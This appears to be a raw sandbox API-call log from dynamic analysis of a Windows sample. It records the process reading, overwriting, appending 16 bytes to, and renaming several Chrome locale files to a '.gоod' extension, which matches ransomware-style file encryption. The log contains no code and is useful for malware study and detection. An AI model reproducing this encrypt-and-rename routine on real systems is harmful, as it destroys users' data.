[0124.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0124.956] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pt-br.pak"), fInfoLevelId=0x0, lpFileInformation=0x3642988 | out: lpFileInformation=0x3642988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b5f7d4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x45594)) returned 1 [0124.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0124.956] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak", lpFilePart=0x0) returned 0x4f [0124.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0124.956] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pt-br.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0124.956] GetFileType (hFile=0x630) returned 0x1 [0124.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0124.956] GetFileType (hFile=0x630) returned 0x1 [0124.957] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0124.957] ReadFile (in: hFile=0x630, lpBuffer=0x3642db0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3642db0*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0124.958] CloseHandle (hObject=0x630) returned 1 [0124.958] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak", lpFilePart=0x0) returned 0x4f [0124.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0124.958] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pt-br.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0124.958] GetFileType (hFile=0x630) returned 0x1 [0124.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0124.958] GetFileType (hFile=0x630) returned 0x1 [0124.958] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x45594 [0124.958] WriteFile (in: hFile=0x630, lpBuffer=0x3644050*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3644050*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0124.960] CloseHandle (hObject=0x630) returned 1 [0124.960] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak", lpFilePart=0x0) returned 0x4f [0124.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0124.960] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pt-br.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0124.960] GetFileType (hFile=0x630) returned 0x1 [0124.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0124.960] GetFileType (hFile=0x630) returned 0x1 [0124.961] ReadFile (in: hFile=0x630, lpBuffer=0x3646470, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3646470*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0125.756] CloseHandle (hObject=0x630) returned 1 [0125.756] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak", lpFilePart=0x0) returned 0x4f [0125.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0125.756] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pt-br.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0125.757] GetFileType (hFile=0x630) returned 0x1 [0125.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0125.757] GetFileType (hFile=0x630) returned 0x1 [0125.757] WriteFile (in: hFile=0x630, lpBuffer=0x350a938*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x350a938*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0126.227] CloseHandle (hObject=0x630) returned 1 [0126.273] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak", lpFilePart=0x0) returned 0x4f [0126.273] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak.gоod", lpFilePart=0x0) returned 0x54 [0126.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0126.273] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pt-br.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4774498d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x455a4)) returned 1 [0126.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0126.273] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pt-br.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pt-br.pak.gоod")) returned 1 [0126.274] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak", lpFilePart=0x0) returned 0x4f [0126.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0126.274] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pt-pt.pak"), fInfoLevelId=0x0, lpFileInformation=0x3a56cc0 | out: lpFileInformation=0x3a56cc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b61ee4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x46a8f)) returned 1 [0126.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0126.274] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak", lpFilePart=0x0) returned 0x4f [0126.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0126.274] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pt-pt.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0126.274] GetFileType (hFile=0x6e0) returned 0x1 [0126.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0126.274] GetFileType (hFile=0x6e0) returned 0x1 [0126.275] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0126.275] ReadFile (in: hFile=0x6e0, lpBuffer=0x3a570e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3a570e8*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0126.276] CloseHandle (hObject=0x6e0) returned 1 [0126.276] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak", lpFilePart=0x0) returned 0x4f [0126.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0126.276] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pt-pt.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0126.276] GetFileType (hFile=0x6e0) returned 0x1 [0126.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0126.276] GetFileType (hFile=0x6e0) returned 0x1 [0126.276] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x46a8f [0126.277] WriteFile (in: hFile=0x6e0, lpBuffer=0x3a58388*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3a58388*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0126.278] CloseHandle (hObject=0x6e0) returned 1 [0126.278] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak", lpFilePart=0x0) returned 0x4f [0126.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0126.278] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pt-pt.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0126.278] GetFileType (hFile=0x6e0) returned 0x1 [0126.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0126.279] GetFileType (hFile=0x6e0) returned 0x1 [0126.279] ReadFile (in: hFile=0x6e0, lpBuffer=0x3a5aba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3a5aba0*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0126.312] CloseHandle (hObject=0x6e0) returned 1 [0126.312] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak", lpFilePart=0x0) returned 0x4f [0126.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0126.312] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pt-pt.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0126.312] GetFileType (hFile=0x6e0) returned 0x1 [0126.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0126.312] GetFileType (hFile=0x6e0) returned 0x1 [0126.312] WriteFile (in: hFile=0x6e0, lpBuffer=0x3a598f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x3a598f0*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0126.312] CloseHandle (hObject=0x6e0) returned 1 [0126.312] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak", lpFilePart=0x0) returned 0x4f [0126.313] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak.gоod", lpFilePart=0x0) returned 0x54 [0126.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0126.313] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pt-pt.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x47803585, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x46a9f)) returned 1 [0126.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0126.313] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pt-pt.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pt-pt.pak.gоod")) returned 1 [0126.313] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak", lpFilePart=0x0) returned 0x4c [0126.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0126.314] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ro.pak"), fInfoLevelId=0x0, lpFileInformation=0x3ad8448 | out: lpFileInformation=0x3ad8448*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b69414, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x47fd2)) returned 1 [0126.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0126.314] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak", lpFilePart=0x0) returned 0x4c [0126.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0126.314] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ro.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0126.314] GetFileType (hFile=0x6e0) returned 0x1 [0126.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0126.314] GetFileType (hFile=0x6e0) returned 0x1 [0126.314] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0126.314] ReadFile (in: hFile=0x6e0, lpBuffer=0x3ad8860, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3ad8860*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0127.374] CloseHandle (hObject=0x6e0) returned 1 [0127.374] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak", lpFilePart=0x0) returned 0x4c [0127.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0127.375] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ro.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0127.398] GetFileType (hFile=0x6e0) returned 0x1 [0127.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0127.398] GetFileType (hFile=0x6e0) returned 0x1 [0127.398] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x47fd2 [0127.398] WriteFile (in: hFile=0x6e0, lpBuffer=0x3511788*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3511788*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0127.400] CloseHandle (hObject=0x6e0) returned 1 [0127.487] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak", lpFilePart=0x0) returned 0x4c [0127.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0127.488] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ro.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0127.488] GetFileType (hFile=0x63c) returned 0x1 [0129.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0129.171] GetFileType (hFile=0x63c) returned 0x1 [0129.172] ReadFile (in: hFile=0x63c, lpBuffer=0x35f7470, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x35f7470*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0129.204] CloseHandle (hObject=0x63c) returned 1 [0129.205] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak", lpFilePart=0x0) returned 0x4c [0129.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0129.205] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ro.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0129.205] GetFileType (hFile=0x63c) returned 0x1 [0129.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0129.205] GetFileType (hFile=0x63c) returned 0x1 [0129.205] WriteFile (in: hFile=0x63c, lpBuffer=0x340e550*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x340e550*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0129.205] CloseHandle (hObject=0x63c) returned 1 [0129.205] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak", lpFilePart=0x0) returned 0x4c [0129.205] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak.gоod", lpFilePart=0x0) returned 0x51 [0129.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0129.205] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ro.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x49396960, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x47fe2)) returned 1 [0129.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0129.206] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ro.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ro.pak.gоod")) returned 1 [0129.206] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files 